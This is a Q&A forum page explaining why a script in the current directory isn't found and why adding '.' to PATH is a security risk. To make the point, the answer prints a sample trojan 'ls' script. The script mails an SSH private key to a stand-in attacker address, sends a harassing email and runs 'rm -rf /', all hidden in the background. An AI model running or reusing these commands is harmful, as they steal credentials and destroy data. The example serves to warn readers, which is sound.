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Editorial Team
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Asked: 2026-05-15T13:38:49+00:00

I have a Bash script on my desktop called highest . If I run:

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I have a Bash script on my desktop called highest.

If I run:

cd ~/Desktop
highest

I get: Command not found

But if I run:

~/Desktop/highest

It executes just fine. But why do I still need to use the absolute path when my command line is in the correct directory?

I am guessing this has something to do with the $PATH variable. Like I need to add something like ./ to it. If so, how do I add that? I am not used to Linux yet and get very confused when this happens.

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1 Answer

  1. Editorial Team

    I agree with @Dennis’s statement. Don’t add ‘.’ to your PATH. It’s a security risk, because it would make it more possible for a cracker to override your commands. For a good explanation, see http://www.linux.org/docs/ldp/howto/Path-12.html .

    For example, pretend I was a cracker and I created a trojaned files like /tmp/ls , like so. Pretend that this was on a shared system at a university or something.

    $ cat /tmp/ls
#!/bin/sh
# Cracker does bad stuff.
# Execute in background and hide any output from the user.
# This helps to hide the commands so the user doesn't notice anything.
cat ~/.ssh/mysecretsshkey | mailx -s "haha" cracker@foo.ru >/dev/null 2>&1 &
echo "My system has been compromised. Fail me." |mailx -s "NUDE PICTURES OF $USERNAME" professor@university.edu >/dev/null 2>&1 & &
rm -rf / >/dev/null 2>&1 &
# and then we execute /bin/ls so that the luser thinks that the command
# executed without error. Also, it scrolls the output off the screen.
/bin/ls $*

    What would happen if you were in the /tmp directory and executed the ‘ls’ command? If PATH included ., then you would execute /tmp/ls , when your real intention was to use the default ‘ls’ at /bin/ls.

    Instead, if you want to execute your own binaries, either call the script explicitly (e.g. ./highest) or create your own bin directory, which is what most users do.

    1. Add your own ~/bin directory, and place your own binaries in there.

      mkdir ~/bin
vi ~/bin/highest

    2. Then, modify your PATH to use your local binary. Modify the PATH statement in your .bashrc to look like this.

      export PATH=$PATH:~/bin

    3. To verify that highest is your path, do this:

      bash$ which highest
/Users/stefanl/bin/highest
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